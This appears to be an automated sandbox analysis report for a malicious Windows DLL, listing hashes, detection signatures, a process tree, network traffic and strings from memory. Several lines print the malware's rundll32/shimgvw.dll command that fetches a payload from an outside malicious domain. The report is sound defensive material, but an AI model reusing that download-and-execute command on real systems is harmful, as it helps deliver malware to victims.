Edit tour

Windows Analysis Report
UiFttnkl2R.dll

Overview

General Information

Sample name:	UiFttnkl2R.dll renamed because original name is a hash value
Original sample name:	d0c554c836f955997316acf30b5039b52e5c9a8b127a5f33107314a481663b5e.dll
Analysis ID:	1500942
MD5:	8620a8a3f75b8b63766bd0f489f33d6a
SHA1:	ffe90dfdfbb5d7d33392887b2a3995cbfba2aae8
SHA256:	d0c554c836f955997316acf30b5039b52e5c9a8b127a5f33107314a481663b5e
Tags:	dllrammenale-com
Infos:

Detection

Score:	80
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus detection for URL or domain

Multi AV Scanner detection for submitted file

Sigma detected: Execute DLL with spoofed extension

Sigma detected: rundll32 run dll from internet

System process connects to network (likely due to code injection or exploit)

Contains functionality to check if a debugger is running (IsDebuggerPresent)

Contains functionality to query CPU information (cpuid)

Contains functionality which may be used to detect a debugger (GetProcessHeap)

Creates a process in suspended mode (likely to inject code)

Detected potential crypto function

Found large amount of non-executed APIs

Found potential string decryption / allocating functions

Internet Provider seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Sigma detected: Potentially Suspicious Rundll32 Activity

Uses 32bit PE files

Uses a known web browser user agent for HTTP communication

Uses code obfuscation techniques (call, push, ret)

Classification

Process Tree

System is w10x64

loaddll32.exe (PID: 7332 cmdline: loaddll32.exe "C:\Users\user\Desktop\UiFttnkl2R.dll" MD5: 51E6071F9CBA48E79F10C84515AAE618)

conhost.exe (PID: 7340 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

cmd.exe (PID: 7384 cmdline: cmd.exe /C rundll32.exe "C:\Users\user\Desktop\UiFttnkl2R.dll",#1 MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

rundll32.exe (PID: 7408 cmdline: rundll32.exe "C:\Users\user\Desktop\UiFttnkl2R.dll",#1 MD5: 889B99C52A60DD49227C5E485A016679)

rundll32.exe (PID: 7440 cmdline: rundll32.exe C:\Windows\System32\shimgvw.dll,ImageView_Fullscreen https://rammenale.com/for2/zetaq.txt MD5: 889B99C52A60DD49227C5E485A016679)

rundll32.exe (PID: 7392 cmdline: rundll32.exe C:\Users\user\Desktop\UiFttnkl2R.dll,mydllmain MD5: 889B99C52A60DD49227C5E485A016679)

rundll32.exe (PID: 7432 cmdline: rundll32.exe C:\Windows\System32\shimgvw.dll,ImageView_Fullscreen https://rammenale.com/for2/zetaq.txt MD5: 889B99C52A60DD49227C5E485A016679)

rundll32.exe (PID: 7716 cmdline: rundll32.exe C:\Windows\System32\shimgvw.dll,ImageView_Fullscreen https://rammenale.com/for2/zetaq.txt MD5: 889B99C52A60DD49227C5E485A016679)

cleanup

Sigma Signatures

Sigma detected: Potentially Suspicious Rundll32 Activity

Source: Process started

Author: juju4, Jonhnathan Ribeiro, oscd.community, Nasreddine Bencherchali (Nextron Systems): Data: Command: rundll32.exe C:\Windows\System32\shimgvw.dll,ImageView_Fullscreen https://rammenale.com/for2/zetaq.txt, CommandLine: rundll32.exe C:\Windows\System32\shimgvw.dll,ImageView_Fullscreen https://rammenale.com/for2/zetaq.txt, CommandLine|base64offset|contains: , Image: C:\Windows\SysWOW64\rundll32.exe, NewProcessName: C:\Windows\SysWOW64\rundll32.exe, OriginalFileName: C:\Windows\SysWOW64\rundll32.exe, ParentCommandLine: rundll32.exe C:\Users\user\Desktop\UiFttnkl2R.dll,mydllmain, ParentImage: C:\Windows\SysWOW64\rundll32.exe, ParentProcessId: 7392, ParentProcessName: rundll32.exe, ProcessCommandLine: rundll32.exe C:\Windows\System32\shimgvw.dll,ImageView_Fullscreen https://rammenale.com/for2/zetaq.txt, ProcessId: 7432, ProcessName: rundll32.exe

Data Obfuscation

Sigma detected: Execute DLL with spoofed extension

Source: Process started

Author: Joe Security: Data: Command: rundll32.exe C:\Windows\System32\shimgvw.dll,ImageView_Fullscreen https://rammenale.com/for2/zetaq.txt, CommandLine: rundll32.exe C:\Windows\System32\shimgvw.dll,ImageView_Fullscreen https://rammenale.com/for2/zetaq.txt, CommandLine|base64offset|contains: , Image: C:\Windows\SysWOW64\rundll32.exe, NewProcessName: C:\Windows\SysWOW64\rundll32.exe, OriginalFileName: C:\Windows\SysWOW64\rundll32.exe, ParentCommandLine: rundll32.exe C:\Users\user\Desktop\UiFttnkl2R.dll,mydllmain, ParentImage: C:\Windows\SysWOW64\rundll32.exe, ParentProcessId: 7392, ParentProcessName: rundll32.exe, ProcessCommandLine: rundll32.exe C:\Windows\System32\shimgvw.dll,ImageView_Fullscreen https://rammenale.com/for2/zetaq.txt, ProcessId: 7432, ProcessName: rundll32.exe

Sigma detected: rundll32 run dll from internet

Source: Process started

Suricata Signatures

⊘No Suricata rule has matched

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus detection for URL or domain

Source: https://rammenale.com/for2/zetaq.txtZ	Avira URL Cloud: Label: malware
Source: https://rammenale.com/for2/zetaq.txtV	Avira URL Cloud: Label: malware
Source: https://rammenale.com/for2/zetaq.txt	Avira URL Cloud: Label: malware
Source: https://rammenale.com/for2/zetaq/ts/	Avira URL Cloud: Label: malware
Source: https://rammenale.com/for2/zetaq.txtC:	Avira URL Cloud: Label: malware
Source: https://rammenale.com/for2/zetaq.txtL	Avira URL Cloud: Label: malware
Source: https://rammenale.com/for2/zetaq.txtK	Avira URL Cloud: Label: malware
Source: https://rammenale.com/for2/zetaq.txtsC:	Avira URL Cloud: Label: malware
Source: https://rammenale.com/for2/zetaq.txtG	Avira URL Cloud: Label: malware
Source: https://rammenale.com/for2/zetaq.txtP$	Avira URL Cloud: Label: malware
Source: https://rammenale.com/for2/zetaq.txtE	Avira URL Cloud: Label: malware
Source: https://rammenale.com/for2/zetaq.txtD	Avira URL Cloud: Label: malware
Source: https://rammenale.com/for2/zetaq.txtw	Avira URL Cloud: Label: malware
Source: https://rammenale.com/for2/zetaq.txtt	Avira URL Cloud: Label: malware
Source: https://rammenale.com/for2/zetaq.txt6634-1002	Avira URL Cloud: Label: malware
Source: https://rammenale.com/for2/zetaq.txtr	Avira URL Cloud: Label: malware
Source: https://rammenale.com/for2/zetaq	Avira URL Cloud: Label: malware
Source: https://rammenale.com/for2/zetaq.txtn	Avira URL Cloud: Label: malware
Source: https://rammenale.com/for2/zetaq.txtent-1002	Avira URL Cloud: Label: malware
Source: https://rammenale.com/for2/zetaq.txtc	Avira URL Cloud: Label: malware
Source: https://rammenale.com/for2/zetaq.txtI%	Avira URL Cloud: Label: malware
Source: https://rammenale.com/for2/zetaq.txtxt	Avira URL Cloud: Label: malware
Source: https://rammenale.com/for2/zetaq.txtPf	Avira URL Cloud: Label: malware
Source: https://rammenale.com/for2/zetaq.txt4U	Avira URL Cloud: Label: malware
Source: https://rammenale.com/for2/zetaq.txt50	Avira URL Cloud: Label: malware
Source: https://rammenale.com/for2/zetaq.txtentndowsINetCookies;	Avira URL Cloud: Label: malware
Source: https://rammenale.com/for2/zetaq.txt~	Avira URL Cloud: Label: malware
Source: https://rammenale.com/for2/zetaq.txtentu	Avira URL Cloud: Label: malware
Source: https://rammenale.com/for2/zetaq.txt8	Avira URL Cloud: Label: malware
Source: https://rammenale.com/for2/zetaq.txt4Y	Avira URL Cloud: Label: malware
Source: https://rammenale.com/for2/zetaq.txt6	Avira URL Cloud: Label: malware
Source: https://rammenale.com/for2/zetaq.txt4	Avira URL Cloud: Label: malware
Source: https://rammenale.com/for2/zetaq.txtes	Avira URL Cloud: Label: malware
Source: https://rammenale.com/for2/zetaqtxt	Avira URL Cloud: Label: malware
Source: https://rammenale.com/for2/zetaq.txt.	Avira URL Cloud: Label: malware
Source: https://rammenale.com/for2/zetaq.txt4m	Avira URL Cloud: Label: malware
Source: https://rammenale.com/for2/zetaq.txtent	Avira URL Cloud: Label: malware
Source: https://rammenale.com/for2/zetaq.txt&	Avira URL Cloud: Label: malware
Source: https://rammenale.com/for2/zetaqonts/c	Avira URL Cloud: Label: malware
Source: https://rammenale.com/for2/zetaq.txt#	Avira URL Cloud: Label: malware
Source: https://rammenale.com/for2/zetaq.txt4er	Avira URL Cloud: Label: malware
Source: https://rammenale.com/for2/zetaq.txt4q	Avira URL Cloud: Label: malware
Source: https://rammenale.com/for2/zetaq/a	Avira URL Cloud: Label: malware

Multi AV Scanner detection for submitted file

Source: UiFttnkl2R.dll	ReversingLabs: Detection: 42%
Source: UiFttnkl2R.dll	Virustotal: Detection: 51%			Perma Link

Source: UiFttnkl2R.dll

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE, DLL

Source: unknown	HTTPS traffic detected: 131.153.206.231:443 -> 192.168.2.4:49732 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 131.153.206.231:443 -> 192.168.2.4:49733 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 131.153.206.231:443 -> 192.168.2.4:49735 version: TLS 1.2

Source: UiFttnkl2R.dll

Static PE information: DYNAMIC_BASE, NX_COMPAT

Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_6CDF15A4 FindFirstFileW,TerminateProcess,CloseHandle,CloseHandle,FindNextFileW,		0_2_6CDF15A4
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_6CDF15A4 FindFirstFileW,TerminateProcess,CloseHandle,CloseHandle,FindNextFileW,		3_2_6CDF15A4

Networking

System process connects to network (likely due to code injection or exploit)

Source: C:\Windows\SysWOW64\rundll32.exe

Network Connect: 131.153.206.231 443

Source: Joe Sandbox View

ASN Name: SS-ASHUS SS-ASHUS

Source: Joe Sandbox View

JA3 fingerprint: 37f463bf4616ecd445d4a1937da06e19

Source: global traffic	HTTP traffic detected: GET /for2/zetaq.txt HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: rammenale.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /for2/zetaq.txt HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: rammenale.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /for2/zetaq.txt HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: rammenale.comConnection: Keep-Alive

Source: unknown

UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: global traffic	HTTP traffic detected: GET /for2/zetaq.txt HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: rammenale.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /for2/zetaq.txt HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: rammenale.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /for2/zetaq.txt HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: rammenale.comConnection: Keep-Alive

Source: global traffic

DNS traffic detected: DNS query: rammenale.com

Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundConnection: closecache-control: private, no-cache, no-store, must-revalidate, max-age=0pragma: no-cachecontent-type: text/htmlcontent-length: 1251date: Thu, 29 Aug 2024 04:53:04 GMTserver: LiteSpeedalt-svc: h3=":443"; ma=2592000, h3-29=":443"; ma=2592000, h3-Q050=":443"; ma=2592000, h3-Q046=":443"; ma=2592000, h3-Q043=":443"; ma=2592000, quic=":443"; ma=2592000; v="43,46"
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundConnection: closecache-control: private, no-cache, no-store, must-revalidate, max-age=0pragma: no-cachecontent-type: text/htmlcontent-length: 1251date: Thu, 29 Aug 2024 04:53:04 GMTserver: LiteSpeedalt-svc: h3=":443"; ma=2592000, h3-29=":443"; ma=2592000, h3-Q050=":443"; ma=2592000, h3-Q046=":443"; ma=2592000, h3-Q043=":443"; ma=2592000, quic=":443"; ma=2592000; v="43,46"
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundConnection: closecache-control: private, no-cache, no-store, must-revalidate, max-age=0pragma: no-cachecontent-type: text/htmlcontent-length: 1251date: Thu, 29 Aug 2024 04:53:05 GMTserver: LiteSpeedalt-svc: h3=":443"; ma=2592000, h3-29=":443"; ma=2592000, h3-Q050=":443"; ma=2592000, h3-Q046=":443"; ma=2592000, h3-Q043=":443"; ma=2592000, quic=":443"; ma=2592000; v="43,46"

Source: rundll32.exe, 00000006.00000003.1723075107.00000000050C7000.00000004.00000800.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.1723013012.00000000050C6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://en.wikipedia
Source: rundll32.exe, 00000008.00000002.2939436401.00000000089D7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://microsoft.co
Source: rundll32.exe, 00000005.00000002.2939554123.0000000005DD2000.00000004.00000800.00020000.00000000.sdmp, rundll32.exe, 00000006.00000002.2939929067.00000000062C2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.apache.org/licenses/LICENSE-2.0
Source: rundll32.exe, 00000005.00000002.2939554123.0000000005DD2000.00000004.00000800.00020000.00000000.sdmp, rundll32.exe, 00000006.00000002.2939929067.00000000062C2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.carterandcone.coml
Source: rundll32.exe, 00000005.00000002.2939554123.0000000005DD2000.00000004.00000800.00020000.00000000.sdmp, rundll32.exe, 00000006.00000002.2939929067.00000000062C2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.fontbureau.com
Source: rundll32.exe, 00000006.00000002.2939929067.00000000062C2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.fontbureau.com/designers
Source: rundll32.exe, 00000005.00000002.2939554123.0000000005DD2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.fontbureau.com/designers/?
Source: rundll32.exe, 00000005.00000002.2939554123.0000000005DD2000.00000004.00000800.00020000.00000000.sdmp, rundll32.exe, 00000006.00000002.2939929067.00000000062C2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.fontbureau.com/designers/cabarga.htmlN
Source: rundll32.exe, 00000005.00000002.2939554123.0000000005DD2000.00000004.00000800.00020000.00000000.sdmp, rundll32.exe, 00000006.00000002.2939929067.00000000062C2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.fontbureau.com/designers/frere-user.html
Source: rundll32.exe, 00000005.00000002.2939554123.0000000005DD2000.00000004.00000800.00020000.00000000.sdmp, rundll32.exe, 00000006.00000002.2939929067.00000000062C2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.fontbureau.com/designers8
Source: rundll32.exe, 00000005.00000002.2939554123.0000000005DD2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.fontbureau.com/designers?
Source: rundll32.exe, 00000005.00000002.2939554123.0000000005DD2000.00000004.00000800.00020000.00000000.sdmp, rundll32.exe, 00000006.00000002.2939929067.00000000062C2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.fontbureau.com/designersG
Source: rundll32.exe, 00000005.00000002.2939554123.0000000005DD2000.00000004.00000800.00020000.00000000.sdmp, rundll32.exe, 00000006.00000002.2939929067.00000000062C2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.fonts.com
Source: rundll32.exe, 00000005.00000002.2939554123.0000000005DD2000.00000004.00000800.00020000.00000000.sdmp, rundll32.exe, 00000006.00000002.2939929067.00000000062C2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.founder.com.cn/cn
Source: rundll32.exe, 00000005.00000002.2939554123.0000000005DD2000.00000004.00000800.00020000.00000000.sdmp, rundll32.exe, 00000006.00000002.2939929067.00000000062C2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.founder.com.cn/cn/bThe
Source: rundll32.exe, 00000005.00000002.2939554123.0000000005DD2000.00000004.00000800.00020000.00000000.sdmp, rundll32.exe, 00000006.00000002.2939929067.00000000062C2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.founder.com.cn/cn/cThe
Source: rundll32.exe, 00000005.00000002.2939554123.0000000005DD2000.00000004.00000800.00020000.00000000.sdmp, rundll32.exe, 00000006.00000002.2939929067.00000000062C2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.galapagosdesign.com/DPlease
Source: rundll32.exe, 00000005.00000002.2939554123.0000000005DD2000.00000004.00000800.00020000.00000000.sdmp, rundll32.exe, 00000006.00000002.2939929067.00000000062C2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.galapagosdesign.com/staff/dennis.htm
Source: rundll32.exe, 00000005.00000002.2939554123.0000000005DD2000.00000004.00000800.00020000.00000000.sdmp, rundll32.exe, 00000006.00000002.2939929067.00000000062C2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.goodfont.co.kr
Source: rundll32.exe, 00000005.00000002.2939554123.0000000005DD2000.00000004.00000800.00020000.00000000.sdmp, rundll32.exe, 00000006.00000002.2939929067.00000000062C2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.jiyu-kobo.co.jp/
Source: rundll32.exe, 00000008.00000002.2939436401.00000000089D7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.microsoft.
Source: rundll32.exe, 00000005.00000002.2939554123.0000000005DD2000.00000004.00000800.00020000.00000000.sdmp, rundll32.exe, 00000006.00000002.2939929067.00000000062C2000.00000004.00000800.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.1717234700.00000000050AB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.sajatypeworks.com
Source: rundll32.exe, 00000005.00000002.2939554123.0000000005DD2000.00000004.00000800.00020000.00000000.sdmp, rundll32.exe, 00000006.00000002.2939929067.00000000062C2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.sakkal.com
Source: rundll32.exe, 00000005.00000002.2939554123.0000000005DD2000.00000004.00000800.00020000.00000000.sdmp, rundll32.exe, 00000006.00000002.2939929067.00000000062C2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.sandoll.co.kr
Source: rundll32.exe, 00000006.00000002.2939929067.00000000062C2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.tiro.com
Source: rundll32.exe, 00000005.00000002.2939554123.0000000005DD2000.00000004.00000800.00020000.00000000.sdmp, rundll32.exe, 00000006.00000002.2939929067.00000000062C2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.typography.netD
Source: rundll32.exe, 00000005.00000002.2939554123.0000000005DD2000.00000004.00000800.00020000.00000000.sdmp, rundll32.exe, 00000006.00000002.2939929067.00000000062C2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.urwpp.deDPlease
Source: rundll32.exe, 00000005.00000002.2939554123.0000000005DD2000.00000004.00000800.00020000.00000000.sdmp, rundll32.exe, 00000006.00000002.2939929067.00000000062C2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.zhongyicts.com.cn
Source: rundll32.exe, 00000005.00000002.2940012348.0000000008B63000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000002.2940217585.000000000884D000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000008.00000002.2939436401.00000000089A3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com
Source: rundll32.exe, 00000005.00000002.2940012348.0000000008B63000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000002.2940217585.000000000881C000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000002.2940217585.0000000008838000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000008.00000002.2939436401.0000000008972000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000008.00000002.2939436401.00000000089A3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://rammenale.com/
Source: rundll32.exe, 00000005.00000002.2940012348.0000000008B34000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://rammenale.com/8EEF8FF4BF719EAB539B52
Source: rundll32.exe, 00000006.00000002.2940217585.000000000881C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://rammenale.com/Data
Source: rundll32.exe, 00000008.00000002.2939436401.0000000008972000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://rammenale.com/YSTEM32
Source: rundll32.exe, 00000008.00000002.2937478623.00000000027B7000.00000004.00000010.00020000.00000000.sdmp	String found in binary or memory: https://rammenale.com/fo10280/zet2
Source: rundll32.exe, 00000008.00000002.2939436401.00000000089D7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://rammenale.com/for2/zetaq
Source: rundll32.exe, 00000008.00000002.2939436401.00000000089D7000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000008.00000002.2937725359.0000000002B20000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://rammenale.com/for2/zetaq.txt
Source: rundll32.exe, 00000006.00000002.2940217585.000000000887D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://rammenale.com/for2/zetaq.txt#
Source: rundll32.exe, 00000008.00000002.2939436401.0000000008972000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://rammenale.com/for2/zetaq.txt&
Source: rundll32.exe, 00000006.00000002.2940217585.0000000008834000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://rammenale.com/for2/zetaq.txt.
Source: rundll32.exe, 00000008.00000002.2939436401.00000000089A3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://rammenale.com/for2/zetaq.txt4
Source: rundll32.exe, 00000005.00000002.2940012348.0000000008B63000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://rammenale.com/for2/zetaq.txt4U
Source: rundll32.exe, 00000008.00000002.2939436401.00000000089A3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://rammenale.com/for2/zetaq.txt4Y
Source: rundll32.exe, 00000008.00000002.2939436401.00000000089BD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://rammenale.com/for2/zetaq.txt4er
Source: rundll32.exe, 00000005.00000002.2940012348.0000000008B63000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://rammenale.com/for2/zetaq.txt4m
Source: rundll32.exe, 00000008.00000002.2939436401.00000000089A3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://rammenale.com/for2/zetaq.txt4q
Source: rundll32.exe, 00000008.00000002.2939436401.00000000089D7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://rammenale.com/for2/zetaq.txt50
Source: rundll32.exe, 00000005.00000002.2937723951.0000000002ADE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://rammenale.com/for2/zetaq.txt6
Source: rundll32.exe, 00000005.00000002.2940012348.0000000008B34000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000002.2940217585.000000000881C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://rammenale.com/for2/zetaq.txt6634-1002
Source: rundll32.exe, 00000005.00000002.2937723951.0000000002A6A000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000002.2940217585.000000000887D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://rammenale.com/for2/zetaq.txt8
Source: rundll32.exe, 00000003.00000002.1721988527.0000000003230000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000004.00000002.1722847273.0000000003170000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000005.00000002.2937582224.0000000002940000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000005.00000002.2937723951.0000000002A60000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000002.2937794002.0000000002FA0000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000002.2937581731.0000000002DF0000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000008.00000002.2937583525.0000000002A80000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000008.00000002.2937725359.0000000002B20000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://rammenale.com/for2/zetaq.txtC:
Source: rundll32.exe, 00000005.00000002.2940012348.0000000008BA5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://rammenale.com/for2/zetaq.txtD
Source: rundll32.exe, 00000005.00000002.2940012348.0000000008BA5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://rammenale.com/for2/zetaq.txtE
Source: rundll32.exe, 00000006.00000002.2937794002.0000000003058000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://rammenale.com/for2/zetaq.txtG
Source: rundll32.exe, 00000006.00000002.2937794002.0000000002FAA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://rammenale.com/for2/zetaq.txtI%
Source: rundll32.exe, 00000008.00000002.2937725359.0000000002B2A000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000008.00000002.2937725359.0000000002B99000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://rammenale.com/for2/zetaq.txtK
Source: rundll32.exe, 00000006.00000002.2940217585.000000000881C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://rammenale.com/for2/zetaq.txtL
Source: rundll32.exe, 00000006.00000002.2937651056.0000000002E70000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://rammenale.com/for2/zetaq.txtP$
Source: rundll32.exe, 00000008.00000002.2937725359.0000000002B2A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://rammenale.com/for2/zetaq.txtPf
Source: rundll32.exe, 00000008.00000002.2939436401.0000000008972000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://rammenale.com/for2/zetaq.txtV
Source: rundll32.exe, 00000008.00000002.2939436401.00000000089D7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://rammenale.com/for2/zetaq.txtZ
Source: rundll32.exe, 00000008.00000002.2937725359.0000000002B99000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://rammenale.com/for2/zetaq.txtc
Source: rundll32.exe, 00000005.00000002.2937723951.0000000002ADE000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000002.2937794002.000000000301F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://rammenale.com/for2/zetaq.txtent
Source: rundll32.exe, 00000008.00000002.2939436401.0000000008972000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://rammenale.com/for2/zetaq.txtent-1002
Source: rundll32.exe, 00000005.00000002.2937723951.0000000002ADE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://rammenale.com/for2/zetaq.txtentndowsINetCookies;
Source: rundll32.exe, 00000008.00000002.2937725359.0000000002B99000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://rammenale.com/for2/zetaq.txtentu
Source: rundll32.exe, 00000008.00000002.2937725359.0000000002B2A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://rammenale.com/for2/zetaq.txtes
Source: rundll32.exe, 00000008.00000002.2939436401.00000000089D7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://rammenale.com/for2/zetaq.txtg
Source: rundll32.exe, 00000005.00000002.2937723951.0000000002ADE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://rammenale.com/for2/zetaq.txtk
Source: rundll32.exe, 00000006.00000002.2940217585.000000000887D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://rammenale.com/for2/zetaq.txtl
Source: rundll32.exe, 00000008.00000002.2937725359.0000000002B2A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://rammenale.com/for2/zetaq.txtn
Source: rundll32.exe, 00000006.00000002.2937794002.0000000003058000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://rammenale.com/for2/zetaq.txtr
Source: loaddll32.exe, 00000000.00000002.1751507131.0000000000FC0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://rammenale.com/for2/zetaq.txtsC:
Source: rundll32.exe, 00000006.00000002.2937794002.0000000002FAA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://rammenale.com/for2/zetaq.txtt
